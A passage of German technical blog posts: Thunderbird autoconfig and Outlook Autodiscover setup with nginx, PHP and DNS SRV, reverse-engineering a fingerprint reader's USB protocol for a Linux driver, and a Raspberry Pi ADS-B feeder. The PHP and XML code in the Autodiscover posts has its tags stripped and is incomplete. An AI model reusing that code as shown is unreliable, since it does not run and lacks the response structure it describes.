server_name autoconfig.vandemeer.de;
ssl_certificate /usr/local/etc/letsencrypt/live/vandemeer.de/fullchain.pem;
ssl_certificate_key /usr/local/etc/letsencrypt/live/vandemeer.de/privkey.pem;
location /mail/ {
alias /usr/local/www/autoconfig-mail/mail/;
}
}
```
Das TLS-Zertifikat muss `autoconfig.vandemeer.de` als SAN enthalten. Bei Let's Encrypt reicht ein `certbot --cert-name vandemeer.de -d vandemeer.de -d www.vandemeer.de -d autoconfig.vandemeer.de` beim nächsten Renewal.
Für Domains mit Wildcard-Zertifikat (`*.kernel-error.de`) entfällt das — der Hostname ist direkt abgedeckt.
### Unterschied zu Outlook Autodiscover
Thunderbird und Outlook lösen dasselbe Problem auf unterschiedlichen Wegen:
**Thunderbird Autoconfig** — Statische XML-Datei, `%EMAILADDRESS%` als Platzhalter, GET-Request, kein serverseitiges Scripting nötig.
**Outlook Autodiscover** — POST-Request mit E-Mail-Adresse im Body, PHP-Script extrahiert den Benutzernamen dynamisch, DNS SRV-Records statt CNAME. Details dazu: [Outlook Autodiscover für IMAP/SMTP](https://www.kernel-error.de/2013/01/04/microsoft-office-outlook-autodiscover/)
Beide können auf demselben Webserver laufen. Bei mir bedient `autodiscover.kernel-error.de` Outlook per POST und liefert gleichzeitig `/mail/config-v1.1.xml` für Thunderbird aus.
Fragen? Gerne per [Kontaktseite](https://www.kernel-error.de/kontakt/).
---
## 49. Outlook Autodiscover für IMAP/SMTP: Wie die automatische Kontoeinrichtung funktioniert
**Veröffentlicht:** 2013-01-04 | Rewrite 2026-03-09
**Permalink:** https://www.kernel-error.de/2013/01/04/microsoft-office-outlook-autodiscover/
**Description:** Wie Outlook Autodiscover funktioniert: Die Lookup-Kette von Active Directory bis DNS SRV-Record und warum ein PHP-Script IMAP und SMTP automatisch konfiguriert.
Benutzer wollen ihr E-Mail-Postfach einrichten. Sie geben E-Mail-Adresse und Passwort ein — den Rest soll der Client erledigen. Bei Exchange mit Active Directory funktioniert das seit Jahren automatisch. Aber was, wenn der Mailserver Postfix und Dovecot heißt und kein Exchange in Sicht ist?
Microsoft Outlook unterstützt auch für IMAP und SMTP die automatische Konfiguration per Autodiscover. Man muss nur wissen, wo Outlook nachschaut — und dort die richtigen Antworten bereithalten.
### Wo Outlook nach der Konfiguration sucht
Outlook arbeitet eine feste Reihenfolge ab. Sobald ein Schritt eine gültige Konfiguration liefert, ist die Einrichtung fertig. Schlägt ein Schritt fehl, geht es zum nächsten:
**1. Active Directory (SCP)** — Ist der Rechner Domänenmitglied, fragt Outlook per LDAP nach einem Service Connection Point. Dort steht normalerweise die URL des Exchange-Servers. Für reine IMAP-Setups irrelevant.
**2. HTTPS auf der E-Mail-Domain** — Outlook versucht `https://example.org/autodiscover/autodiscover.xml`. Funktioniert nur, wenn der Webserver der Domain den Pfad bedient.
**3. HTTPS auf autodiscover.** — Outlook versucht `https://autodiscover.example.org/autodiscover/autodiscover.xml`. Das ist der Weg, den wir nutzen. Ein Webserver unter diesem Hostnamen mit gültigem TLS-Zertifikat — mehr braucht es nicht.
**4. HTTP-Redirect** — Outlook versucht `http://autodiscover.example.org/autodiscover/autodiscover.xml` und folgt einem 301/302-Redirect. Weniger sicher, aber ein Fallback.
**5. DNS SRV-Record** — Outlook fragt `_autodiscover._tcp.example.org` und folgt dem SRV-Eintrag. Bei einem SRV-Verweis auf eine andere Domain zeigt Outlook eine Sicherheitsabfrage: „Konfiguration von dieser Webseite zulassen?" Einmalig bestätigen, danach läuft es.
**6. Lokale XML-Datei** — Outlook sucht auf dem Rechner nach einer vorinstallierten Konfigurationsdatei. Für Firmenumgebungen mit Software-Verteilung relevant.
**7. Manueller Assistent** — Wenn nichts funktioniert hat, öffnet Outlook den Konfigurationsassistenten. Genau das wollen wir vermeiden.
### Was Outlook per POST schickt und erwartet
Outlook macht einen HTTP-POST auf `/autodiscover/autodiscover.xml` und schickt im Body ein XML mit der E-Mail-Adresse des Benutzers:
```xml
benutzer@example.org
http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a
```
Die Antwort enthält IMAP- und SMTP-Einstellungen. Der Clou: Weil Outlook die E-Mail-Adresse im POST mitschickt, kann ein PHP-Script sie auslesen und als `` in die Antwort einsetzen. Ohne diesen Trick würde Outlook nur den Teil vor dem @ als Benutzernamen verwenden — bei Mailservern, die die volle E-Mail-Adresse als Login erwarten, ein Problem.
### Multi-Domain per DNS SRV-Record
Ein Autodiscover-Webserver reicht für beliebig viele Maildomains. Jede zusätzliche Domain braucht nur einen SRV-Record im DNS:
```shell
_autodiscover._tcp.example.org. IN SRV 0 0 443 autodiscover.kernel-error.de.
```
Outlook folgt dem SRV-Record, zeigt einmalig die Sicherheitsabfrage, und hat danach die komplette Konfiguration. Das PHP-Script auf dem Zielserver beantwortet Anfragen für alle Domains — die E-Mail-Adresse kommt ja im POST mit.
### Umsetzung und aktuelle Konfiguration
Die konkrete Einrichtung — nginx-Konfiguration, PHP-Script und DNS — beschreibe ich im Nachfolgebeitrag: [Outlook Autodiscover für IMAP und SMTP konfigurieren](https://www.kernel-error.de/2019/10/02/outlook-autodiscover-fuer-imap-und-smtp/). Dort steht auch das Update von 2026 mit den Korrekturen am PHP-Script (GET-Absicherung, XSS-Schutz) und der Zusammenlegung mit Thunderbird Autoconfig.
Wer seine Konfiguration testen will: Microsoft bietet unter [testconnectivity.microsoft.com](https://testconnectivity.microsoft.com) den „Microsoft Remote Connectivity Analyzer" an. Dort den Autodiscover-Test auswählen und die eigene E-Mail-Adresse eingeben.
Fragen? Gerne per [Kontaktseite](https://www.kernel-error.de/kontakt/).
---
## 50. Outlook Autodiscover für IMAP und SMTP konfigurieren
**Veröffentlicht:** 2019-10-02 | Update 2026-03-09
**Permalink:** https://www.kernel-error.de/2019/10/02/outlook-autodiscover-fuer-imap-und-smtp/
**Description:** Outlook Autodiscover für IMAP und SMTP einrichten: PHP-Script, nginx-Konfiguration und DNS-SRV für Multi-Domain — plus Thunderbird Autoconfig.
Vor einigen Jahren habe ich bereits etwas zu Microsoft Outlook und dessen Autodiscover geschrieben. [Microsoft Office Outlook Autodiscover](https://www.kernel-error.de/2013/01/04/microsoft-office-outlook-autodiscover/)
Ich setze es noch immer in recht ähnlicher Form ein und möchte den aktuellen Stand kurz beschreiben.
Primär habe ich eine Autodiscoverdomain [https://autodiscover.kernel-error.de](https://autodiscover.kernel-error.de) hinter dieser steht ein nginx und er liefert unter diesem Pfad [https://autodiscover.kernel-error.de/Autodiscover/Autodiscover.xml](https://autodiscover.kernel-error.de/Autodiscover/Autodiscover.xml) die Konfigurationsinformationen für verschiedene Maildomains für smtps und imaps aus.
Die Konfiguration vom nginx ist recht überschaubar. Klar, https und der spannende Teil der Konfiguration ist folgender:
```nginx
location ~ /(?:a|A)utodiscover/(?:a|A)utodiscover.xml {
root /usr/local/www/autodiscover.kernel-error.de;
try_files /autodiscover/autodiscover.php =404;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $request_filename;
include fastcgi_params;
fastcgi_cache MYAPP;
fastcgi_cache_valid 200 60m;
}
```
Wie man gut sehen kann wird einfach jede Anfrage nach /autodiscover/autodiscover.xml (egal ob am Anfang groß oder klein geschrieben), im Hintergrund weitergeleitet an das php file autodisvocer.php:
```php
(.*?)\/", $request, $email );
// check for invalid mail, to prevent XSS
if (filter_var($email[1], FILTER_VALIDATE_EMAIL) === false) {
throw new Exception('Invalid E-Mail provided');
}
/**************************************
* Port and server settings below *
**************************************/
// IMAP settings
$imapServer = 'imap.kernel-error.de'; // imap.example.com
$imapPort = 993;
$imapSSL = true;
// SMTP settings
$smtpServer = 'smtp.kernel-error.de'; // smtp.example.com
$smtpPort = 465;
$smtpSSL = true;
//set Content-Type
header( 'Content-Type: application/xml' );
?>
'; ?>
email
settings
IMAP
off
off
on
SMTP
off
on
off
on
off
off
```
Das kleine php script macht auch nicht viel mehr als die im Post übermittelte E-Mail Adresse in eine Variable zu schieben, zu prüfen ob es wirklich eine E-Mail Adresse ist und dann am Ende einfach das fertige xml zurück zu liefern.
Besonders wichtig dabei ist:
```xml
on
off
off
```
Sonst darf man für den Postausgangsserver nämlich immer manuell den Haken setzen bei: "Gleiche Einstellungen wie für den Posteingangsserver verwenden" Welches sicher einige Anwender vor einer nur schwer zu überwindenden Hürde stell.
Damit dieses nicht nur für E-Mail Adresse der Domain kernel-error.de funktioniert gibt es in den anderen DNS Zonen SRV RRs welche auf diese Autodiscoverdomain verweisen:
```shell
➜ ~ dig _autodiscover._tcp.kernel-error.com IN SRV +short
0 0 443 autodiscover.kernel-error.de.
```
Nun sorgt dieses bei Outlook für eine kleine Warnmeldung bei der Konfiguration, ob man diesem Verweis wirklich folgen möchte.
[[Bild: Screenshot vom Outlook Client beim Konto hinzufügen. Frage ob die Konfiguration der Servereinstellungen von einer Webseite zugelassen werden soll.](https://www.kernel-error.de/wp-content/uploads/2019/10/autodiscover.jpg)](https://www.kernel-error.de/wp-content/uploads/2019/10/autodiscover.jpg)
Dieses kommt nur einmalig und man könnte es zudem mit deinem Registierungsschlüssel unterbinden aber naja das sollte für jeden klickbar sein, oder?!?! Im Anschluss ist die Konfiguration vom E-Mail Client schon abgeschlossen.
[[Bild: Screenshot vom Outlook Client beim Konto hinzufügen. Vorgang wurde erfolgreich abgeschlossen.](https://www.kernel-error.de/wp-content/uploads/2019/10/outlook01.jpg)](https://www.kernel-error.de/wp-content/uploads/2019/10/outlook01.jpg)
Wie man sieht ist es sehr simpel und sollte von nahezu jedem erledigt werden können, der es schafft seine E-Mail Adresse und sein Kennwort nach dem Outlookstart einzugeben.
---
### Update März 2026 — Aufgeräumt und abgesichert
Das Grundprinzip funktioniert seit 2019 unverändert — Outlook bekommt per POST seine Konfiguration, der Benutzer muss nur E-Mail-Adresse und Passwort eingeben. Ein paar Dinge habe ich aber überarbeitet.
#### PHP-Script: GET-Requests und fehlende Eingaben abfangen
Das alte Script hat bei GET-Requests oder einem leeren POST-Body mit HTTP 500 geantwortet — das PHP-Script versuchte auf eine Variable zuzugreifen, die bei fehlendem XML-Body nicht existiert. Monitoring-Tools und neugierige Browser liefen damit gegen die Wand.
Die korrigierte Version prüft jetzt sauber:
```php
(.*?)\/", $request, $email);
if (empty($email[1]) || filter_var($email[1], FILTER_VALIDATE_EMAIL) === false) {
header("HTTP/1.1 400 Bad Request");
exit;
}
// XSS-Schutz: E-Mail fuer XML-Ausgabe escapen
$loginName = htmlspecialchars($email[1], ENT_XML1, "UTF-8");
```
GET liefert jetzt 405 Method Not Allowed, ein POST ohne gültigen Body gibt 400 Bad Request. Die E-Mail-Adresse wird zusätzlich mit `htmlspecialchars()` escaped bevor sie in die XML-Antwort geschrieben wird — nicht dass jemand über eine präparierte Autodiscover-Anfrage XML-Injection versucht.
#### Nginx: Kein Cache für dynamische Antworten
In der ursprünglichen Konfiguration oben steckt `fastcgi_cache MYAPP` mit 60 Minuten Gültigkeit. Das ist für Autodiscover falsch — die Antwort enthält die E-Mail-Adresse des anfragenden Benutzers als ``. Mit Cache bekommt der zweite Benutzer die E-Mail-Adresse des ersten. Ohne Cache:
```nginx
location ~* ^/autodiscover/autodiscover\.xml$ {
try_files /autodiscover/autodiscover.php =404;
fastcgi_pass unix:/var/run/php-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root/autodiscover/autodiscover.php;
include fastcgi_params;
}
```
Das `~*` macht den Match case-insensitive — kürzer als die alte Regex mit `(?:a|A)`. Und `SCRIPT_FILENAME` zeigt jetzt explizit auf das PHP-Script statt auf `$request_filename`, was bei falscher Root-Konfiguration ins Leere laufen kann.
#### Thunderbird Autoconfig auf dem gleichen Host
Inzwischen bedient `autodiscover.kernel-error.de` nicht mehr nur Outlook, sondern auch Thunderbird. Dazu reicht eine zusätzliche Location im gleichen Server-Block:
```nginx
location /mail/ {
alias /usr/local/www/autoconfig-mail/mail/;
}
```
Thunderbird fragt `https://autoconfig./mail/config-v1.1.xml` — eine statische XML-Datei mit den Servereinstellungen für IMAP und SMTP. Für jede Maildomain gibt es einen `autoconfig.*` CNAME und einen eigenen HTTPS-Server-Block mit passendem Zertifikat. Outlook nutzt weiterhin den POST-Endpoint, Thunderbird die statische XML — beide laufen auf der gleichen Infrastruktur.
## 51. NEXT Biometrics NB-2033-U: Reverse Engineering eines Fingerabdrucklesers für Linux
**Veröffentlicht:** 2026-03-17
**Permalink:** https://www.kernel-error.de/2026/03/17/next-biometrics-nb-2033-u-reverse-engineering-fingerabdruckleser-linux/
**Description:** NEXT Biometrics NB-2033-U per Reverse Engineering unter Linux zum Laufen gebracht: USB-Protokoll mit usbmon rekonstruiert, eigener libfprint-Treiber geschrieben.
---
Im letzten Beitrag zum Thema hatte ich angekündigt, dass ich mir auch den NB-2033-U vornehmen will. Der steckt in einem zweiten Fujitsu Notebook hier, dem von meiner Tochter Maja. Gleicher Hersteller, gleiche Sensorfamilie, sollte ähnlich laufen wie beim NB-2020-U.
Falsch gedacht.
### Hersteller sagt: geht nicht
Ich hatte bei NEXT Biometrics nach Protokolldokumentation oder einem SDK für den NB-2033-U gefragt. Kevin Hung, Director FAE, antwortete freundlich aber eindeutig:
> "Both 2020-U and 2033-U have different firmware and USB stack. The code flow (libusb) related to 2033-U and 2020-U is different. This could be the reason for 2033-U failure/unsupported in linux. As of now, it is not supported."
Kein SDK, keine Doku, kein Support. Und 74 Einträge auf linux-hardware.org mit Status "failed" für die USB ID `298d:2033`. Weltweit kein Linux-Support für dieses Gerät.
Gut. Dann eben Reverse Engineering.
### Erster Versuch: Windows-Treiber belauschen
Plan A war klassisch: Windows-Treiber in einer VM laufen lassen, USB-Traffic mitschneiden. VirtualBox installiert, USB-Passthrough konfiguriert, Windows gestartet. Der Fingerabdruckleser tauchte im Gerätemanager auf. Mit Code 31. Treiber konnte das Gerät nicht starten. Secure Boot hatte VirtualBox den Kernel-Treiber nicht signiert, und der USB-Passthrough war damit unbrauchbar.
Plan A verworfen.
### Plan B: Das SDK direkt auf Linux
Das SDK von NEXT Biometrics (`libNBBiometrics.so`) unterstützt den NB-2033-U intern. Es kommuniziert direkt über `libusb`, ohne Kernel-Treiber. Das heißt: ich kann das SDK-Sample direkt auf dem Linux-Notebook laufen lassen und gleichzeitig den USB-Traffic mit `usbmon` mitschneiden.
Dafür musste Secure Boot deaktiviert werden. `usbmon` ist ein Kernel-Modul, und `lockdown=integrity` (von Secure Boot gesetzt) blockiert es auch für root. Secure Boot im BIOS aus, `lockdown=none` in GRUB, Neustart. Danach:
```shell
modprobe usbmon
cat /sys/kernel/debug/usb/usbmon/3u > /tmp/capture.txt &
./NBBSample
```
7654 Zeilen USB-Traffic. Das komplette Protokoll des NB-2033-U, aufgezeichnet während einer Enrollment-Session.
### Was dabei rauskam
Das Protokoll ist komplett anders als beim NB-1010-U/NB-2020-U. Kevins Aussage stimmte. Hier die wesentlichen Unterschiede:
| Eigenschaft | NB-1010-U / NB-2020-U | NB-2033-U |
|---|---|---|
| Bulk IN Endpoint | EP 3 (0x83) | EP 1 (0x81) |
| Kommandoformat | `[0x80][CMD][SEQ][0x00]...` | `[CMD][0x00][LEN_LO][LEN_HI][PAYLOAD]` (TLV) |
| Finger-Erkennung | Einzelnes `0x38` | Zwei `0x0D` Config + `0x38` |
| Bildübertragung | 90 Chunks à 540 Bytes | 180 Chunks à 268 Bytes |
| Init | Einmal `0x07` | Zweimal `0x07` nötig |
Gleicher Sensor-Die (256×180 Pixel, 385 DPI, aktiv thermisch), aber ein komplett anderer USB-Stack. Der NB-2033-U nutzt ein TLV-Format (Type-Length-Value) statt des festen Kommandoschemas vom NB-1010-U. Jedes Kommando hat eine eigene Längenangabe, und die Antworten sind anders strukturiert.
### Die Kommandos im Detail
Aus dem USB-Capture konnte ich sechs Kommandos identifizieren:
- `0x07` — Init/Wake. Muss zweimal gesendet werden, sonst reagiert der Sensor nicht.
- `0x0D` — Sensor-Konfiguration. Wird zweimal vor jeder Finger-Erkennung gebraucht, um den "Enhanced" Modus zu aktivieren.
- `0x38` — Finger-Erkennung. Byte 4 der Antwort ist der Detect-Level. Schwellwert 40.
- `0x12` — Capture starten. Liefert 180 Zeilen à 256 Pixel, 8-Bit Graustufen.
- `0x13` — Geräteinformationen (Hersteller, Modell, Seriennummer).
- `0xF7` — Firmware-Version.
### Thermischer Sensor: Eigenheiten
Der Sensor misst Temperaturänderungen, nicht statischen Kontakt. Das klingt nach einem Detail, ist aber für die Treiber-Implementierung entscheidend. Finger auflegen erzeugt einen kurzen Spike im Detect-Wert (10 bis 50+). Finger bleibt liegen, und der Wert fällt zurück auf Basisniveau. Der Treiber muss also den Spike erkennen, nicht einen dauerhaften Zustand.
Dazu kommt: Nach dem Init gibt es transiente Spikes, die ungefähr 1,5 Sekunden brauchen, bis sie abklingen. Ohne Settle-Pause nach dem Init erkennt der Treiber Phantom-Finger.
### Der Treiber
Rausgekommen ist `nb2033.c`, ein eigenständiger libfprint-Treiber mit rund 350 Zeilen. Kein proprietärer Code, keine SDK-Abhängigkeit. Das SDK diente nur als Referenz für die Capture-Analyse, der Treiber ist sauber von Grund auf geschrieben. Lizenz: LGPL 2.1+ wie alle libfprint-Treiber.
Die State Machine:
1. Init (`0x07` × 2) mit 1,5 Sekunden Settle-Pause
2. Finger-Detect-Polling (`0x0D` + `0x0D` + `0x38`, Schwellwert 40)
3. Pre-Capture Config (`0x0D`)
4. Capture (`0x12`) mit 150 ms Pause, dann 180 Zeilen lesen
5. Bild an libfprint übergeben
### Test
Getestet auf Majas Fujitsu Notebook mit Linux Mint 22.3:
```shell
$ fprintd-enroll
Using device /net/reactivated/Fprint/Device/0
Enrolling right-index-finger finger.
Enroll result: enroll-stage-passed
[... 5/5 Stages ...]
Enroll result: enroll-completed
```
```shell
$ fprintd-verify
Using device /net/reactivated/Fprint/Device/0
Listing enrolled fingers:
- #0: right-index-finger
Verify result: verify-match (true)
```
Richtiger Finger: Match. Falscher Finger: No Match. Enrollment sauber, Verifikation zuverlässig.
### Upstream
Der Merge Request ist eingereicht: [MR !574](https://gitlab.freedesktop.org/libfprint/libfprint/-/merge_requests/574) bei libfprint. Fünf Dateien: der neue Treiber, meson.build, autosuspend.hwdb und die Allowlist. CI läuft durch. Der verwandte [MR !569](https://gitlab.freedesktop.org/libfprint/libfprint/-/merge_requests/569) für den NB-2020-U ist noch in Review.
Für die Wiki-Aktualisierung (das Gerät von der "unsupported" Liste nehmen) gibt es [Issue #134](https://gitlab.freedesktop.org/libfprint/wiki/-/issues/134).
### Fazit
Der Hersteller sagt "not supported", 74 Linux-User melden "failed", und trotzdem war das an einem Nachmittag erledigt. SDK auf Linux ausführen, USB-Traffic mitschneiden, Protokoll rekonstruieren, Treiber schreiben, testen, upstream einreichen. Alles mit Open-Source-Tools: `usbmon`, `libusb`, `libfprint`.
Das Ergebnis: Majas Notebook hat jetzt einen funktionierenden Fingerabdruckleser unter Linux. Und sobald der Merge Request durch ist, haben ihn alle anderen auch.
## 52. Eigener ADS-B Feeder: Flugzeuge tracken mit Raspberry Pi, RTL-SDR und selbstgebauter Antenne
**URL:** https://www.kernel-error.de/2026/03/18/eigener-ads-b-feeder-flugzeuge-tracken-mit-raspberry-pi-rtl-sdr-und-selbstgebauter-antenne/
**Datum:** 2026-03-18
**Kategorien:** Elektronik & DIY, Embedded & Mikrocontroller
**Tags:** Raspberry Pi, Elektronik, DIY, Linux, ADS-B, Flightradar24, RTL-SDR
Flugzeuge senden permanent ihre Position, Höhe und Geschwindigkeit auf 1090 MHz. Einfach so, unverschlüsselt, für jeden empfangbar. Das Ganze nennt sich ADS-B (Automatic Dependent Surveillance-Broadcast) und ist seit Jahren Standard in der Luftfahrt. Man braucht nur einen günstigen SDR-Empfänger und eine passende Antenne, um das Signal zu dekodieren. Und weil Dienste wie Flightradar24 auf Daten von freiwilligen Feedern angewiesen sind, bekommt man als Gegenleistung einen Business-Account, der sonst knapp 500 Euro im Jahr kostet.
Ich wollte das schon länger mal ausprobieren. Ein Raspberry Pi lag noch herum, ein billiger RTL-SDR-Stick war schnell bestellt, und die Antenne habe ich selbst gebaut. Nach längerem Betrieb kann ich sagen: Das Projekt macht erstaunlich viel Spaß und liefert faszinierende Ergebnisse. Bis zu 335 km Reichweite mit einer Antenne aus Kupferdraht und einer N-Buchse für unter 10 Euro.
Was ist ADS-B eigentlich?
ADS-B steht für Automatic Dependent Surveillance-Broadcast. Jedes moderne Verkehrsflugzeug sendet damit periodisch seine GPS-Position, Flughöhe, Geschwindigkeit, ICAO-Kennung und Squawk-Code auf 1090 MHz. Das Signal ist nicht verschlüsselt und nicht authentifiziert. Jeder mit einem passenden Empfänger kann es dekodieren. Der Empfang ist legal und rein passiv, man sendet nichts.
Die Reichweite hängt von der Sichtlinie (Line of Sight) ab. Flugzeuge in großer Höhe sind über hunderte Kilometer empfangbar. Tieffliegende Maschinen oder Flugzeuge hinter Bergen dagegen nicht. Topografie spielt eine große Rolle.
Warum ein eigener Feeder?
Flightradar24 lebt von den Daten freiwilliger Feeder weltweit. Je mehr Stationen, desto besser die Abdeckung. Als Gegenleistung gibt es einen kostenlosen Business-Account. Der kostet regulär knapp 500 Euro pro Jahr und bietet unter anderem erweiterte Filter, historische Flugdaten und eine werbefreie Oberfläche. Für Hardware im Wert von 100 bis 150 Euro ein ziemlich guter Deal.
Nebenbei kann man die empfangenen Daten auch parallel an andere Dienste wie FlightAware oder ADS-B Exchange schicken. Und natürlich ist es einfach ein tolles Bastelprojekt mit sofort sichtbarem Ergebnis. Man sieht in Echtzeit auf einer Karte, welche Maschinen gerade über einem fliegen.
Hardware
Das Setup ist überschaubar:
| Komponente | Modell | Hinweis |
| Einplatinencomputer | Raspberry Pi 4 Model B | 4 GB RAM, 64 GB SD-Karte |
| Betriebssystem | Pi24 (offizielles FR24-Image) | Debian Bookworm, Kernel 6.12 |
| SDR-Dongle | Realtek RTL2838 (RTL-SDR) | Günstiger DVB-T-Stick als SDR-Empfänger |
| GPS-Dongle | VK-162 (u-blox 7) | USB, 3D-Fix, ~10 Satelliten |
| Antenne | Eigenbau: λ/4-Groundplane | Für 1090 MHz, siehe Abschnitt Antennenbau |
Der Raspberry Pi 4 ist für die Aufgabe eigentlich überdimensioniert. Ein Pi 2 oder 3 würde ebenfalls reichen. Das Pi24-Image von Flightradar24 bringt alles mit: Betriebssystem, den Feeder-Client `fr24feed`, den ADS-B-Decoder `dump1090` und ein lokales Web-Interface. SD-Karte flashen, WLAN oder Ethernet konfigurieren, fertig.
Der RTL-SDR-Dongle ist ein umfunktionierter DVB-T-Stick. Die Dinger kosten zwischen 10 und 25 Euro und können in einem breiten Frequenzbereich empfangen. Für ADS-B braucht man 1090 MHz, das schaffen die meisten RTL2832U-basierten Sticks problemlos.
Standort
Mein Feeder steht im Raum Bonn/Hangelar (Siegburg-Umgebung). Nicht gerade der ideale Standort für maximale Reichweite. Die Eifel im Süden blockiert einen Teil des Empfangs, und die Antenne steht aktuell nur am Fenster. Trotzdem sind die Ergebnisse beeindruckend, dazu gleich mehr.
Meine Radar-ID bei Flightradar24: **T-EDKB55**.
Antennenbau: λ/4-Groundplane für 1090 MHz
Die mitgelieferten DVB-T-Antennen sind für den Frequenzbereich um 500 MHz ausgelegt. Für ADS-B auf 1090 MHz sind sie schlicht ungeeignet. Ich habe drei verschiedene gekaufte DVB-T-Antennen getestet. Alle performten schlechter als die Original-Stummelantenne. Das war frustrierend, aber auch lehrreich.
Die Lösung: Selbst bauen. Nach einer hervorragenden [Anleitung von weberblog.net](https://weberblog.net/bessere-antennen-fur-den-ads-b-flugzeugempfang/) habe ich eine λ/4-Groundplane-Antenne gebaut. Das ist im Prinzip ein vertikaler Strahler mit vier Radialen, abgestimmt auf 1090 MHz.
Die Physik dahinter ist simpel: Die Wellenlänge bei 1090 MHz beträgt λ = c / f ≈ 27,5 cm. Ein Viertel davon (λ/4) ergibt **68 mm**. Das ist die Länge jedes Antennenelements.
**Material:**
- N-Einbaubuchse (N-Flanschbuchse)
- 2,5 mm² Kupferdraht (massiv)
- Koaxialkabel (RG213 oder Satellitenkabel)
- M4-Schrauben zur Montage
- Adapter je nach SDR-Stick (MCX, SMA oder BNC)
**Aufbau:** Ein Strahler (68 mm Kupferdraht) wird vertikal am Center-Pin der N-Buchse angelötet. Vier Radiale (ebenfalls 68 mm) werden an der Masse befestigt und ca. 45 Grad nach unten gebogen. Alle Elemente exakt auf 68 mm kürzen, das ist wichtig. Optional kann man einen Wetterschutz drüber stülpen, ein altes CD-Spindelgehäuse oder ein Stück PVC-Rohr tut es.
Laut der Bauanleitung von weberblog.net bringt die selbstgebaute Antenne im Indoor-Test **+61% mehr erkannte Flugzeuge** (39 → 63 Aircraft). Andere Bastler berichten von bis zu 160 NM Reichweite mit acht Radialen und Mastmontage. Meine Erfahrung bestätigt das. Der Unterschied zur Stummelantenne war sofort sichtbar.
Software
Das Pi24-Image bringt alles mit. `fr24feed` ist der offizielle Feeder-Client von Flightradar24. Er startet intern `dump1090-mutability` als ADS-B-Decoder und schickt die empfangenen Daten per UDP an die FR24-Server. Dazu läuft ein `lighttpd` für die lokalen Web-Interfaces.
Die Konfiguration liegt in `/etc/fr24feed.ini`:
```
receiver=dvbt
fr24key=
path=/usr/lib/fr24/dump1090
bs=no
raw=no
mlat=yes
mlat-without-gps=yes
lat=50.578167
lon=6.948833
alt=1261
```
Lokal gibt es drei Web-Interfaces: Die FR24 Status-GUI unter `http:///`, den JSON-Monitor unter `http://:8754/monitor.json` und die dump1090-Karte unter `http://:8080/`. Die Karte zeigt in Echtzeit alle empfangenen Flugzeuge auf einer OpenStreetMap-Karte. Das alleine ist schon faszinierend.
Ersteinrichtung
Nach dem Flashen des Pi24-Images musste ich noch ein paar Dinge anpassen:
- Hostname geändert: `pi24-bookworm` → `flightradar24`
- Statische IP konfiguriert via NetworkManager (DHCP → feste Adresse)
- GPS-Koordinaten in `fr24feed.ini` eingetragen
- `dump978-fr24` deaktiviert (UAT 978 MHz wird in Europa nicht verwendet)
- Bluetooth deaktiviert (nicht benötigt, erzeugte unnötige Fehlermeldungen)
- OS-Update: 232 Pakete aktualisiert, Kernel von 6.6.21 auf 6.12.62
- Boot-Fix: Bind-Mount `/boot` → `/boot/firmware` (Pi24-Image-Kompatibilität)
Reichweite und Ergebnisse
Nach drei Wochen Betrieb, noch mit der Antenne am Fenster:
| Metrik | Wert |
| Flugzeuge aktuell getrackt (Snapshot) | 74 (34 ADS-B + 40 Non-ADS-B) |
| Flugzeuge gesamt gesehen | 1.541 |
| Nachrichten verarbeitet | ~8,9 Millionen |
| Maximale Reichweite | **~335 km (~181 NM)** |
| Signal (Durchschnitt) | -20,9 dBFS |
| SNR | ~14,8 dB |
| CPU-Temperatur | 47,2 °C |
| Uptime | 20 Tage |
**335 Kilometer Reichweite.** Mit einer Indoor-Antenne aus Kupferdraht für unter 10 Euro. Das war ein Norwegian-Flug (NOZ1802) über der Nordsee auf FL360. Das hätte ich vorher nicht für möglich gehalten.
Die Hauptabdeckung geht nach Norden und Nordwesten. KLM-Flüge über den Niederrhein und die Niederlande sind in 250 bis 335 km Entfernung problemlos sichtbar. Nach Nordosten reicht es bis ins Münsterland und den Raum Osnabrück. Nach Süden ist die Abdeckung durch die Eifel-Topografie eingeschränkt, aber Flüge bis in den Raum Trier/Luxemburg (~100 km) kommen noch durch. Lokal sieht man natürlich alles, was sich im Raum Bonn/Hangelar bewegt, Privatflieger, Kleinflugzeuge, Hubschrauber.
Ein paar Beispiele vom Snapshot:
| Callsign | Airline | Höhe | Entfernung |
| NOZ1802 | Norwegian | FL360 | ~335 km |
| BTI859 | airBaltic | 10.600 ft | ~249 km |
| KLM96E | KLM | 14.725 ft | ~232 km |
| SIA314 | Singapore Airlines | FL360 | ~25 km |
| BAW169 | British Airways | FL330 | ~16 km |
| UAE62T | Emirates | FL380 | ~42 km |
Singapore Airlines, Emirates und British Airways über dem Rheinland. Das hat was.
Bug: NTP-Client in fr24feed 1.0.55-0
**Achtung, Falle:** Version 1.0.55-0 von fr24feed ist defekt. Der Feeder bleibt in einer Endlosschleife mit `[time][e]Failed to synchronize time` hängen und geht nie online. Nicht nur MLAT funktioniert nicht, das gesamte Feeding ist tot.
Ich habe das mit `strace` und `tcpdump` analysiert. Der statisch kompilierte interne NTP-Client löst `pool.ntp.org` per DNS korrekt auf, sendet aber nie UDP-Pakete auf Port 123. Der Client ist schlicht kaputt. Kein Workaround hat funktioniert: weder Root-Rechte, noch `CAP_NET_RAW`, noch ein lokaler NTP-Server, noch `nftables` DNAT-Umleitung.
Die Lösung ist ein Downgrade:
```
# Downgrade auf funktionierende Version
sudo apt install fr24feed=1.0.54-0
# Version pinnen gegen Auto-Update
sudo apt-mark hold fr24feed
```
Ich habe den Bug direkt an den FR24-Support gemeldet, mit strace-Nachweis, tcpdump-Capture und der kompletten Liste getesteter Workarounds. Die Antwort war ernüchternd: Man könne den Bug nicht reproduzieren, vermutet aber eine Library-Regression durch einen Wechsel des Build-Systems. Der Bug ist seit Januar 2026 auch im FR24-Forum bekannt (Threads #186163 und #231707). Da `fr24feed` proprietär und Closed Source ist, kann man leider keinen Pull Request einreichen.
Das bedeutet auch: MLAT (Multilateration) funktioniert bei mir aktuell nicht. MLAT würde es ermöglichen, auch Flugzeuge ohne ADS-B-Transponder zu erfassen, indem mehrere Feeder-Stationen die Signallaufzeiten triangulieren. Dafür braucht der Feeder aber eine exakte Zeitbasis, und genau die liefert der kaputte NTP-Client nicht. Sobald FR24 eine gefixte Version veröffentlicht, werde ich das aktivieren.
Kosten
| Posten | Kosten |
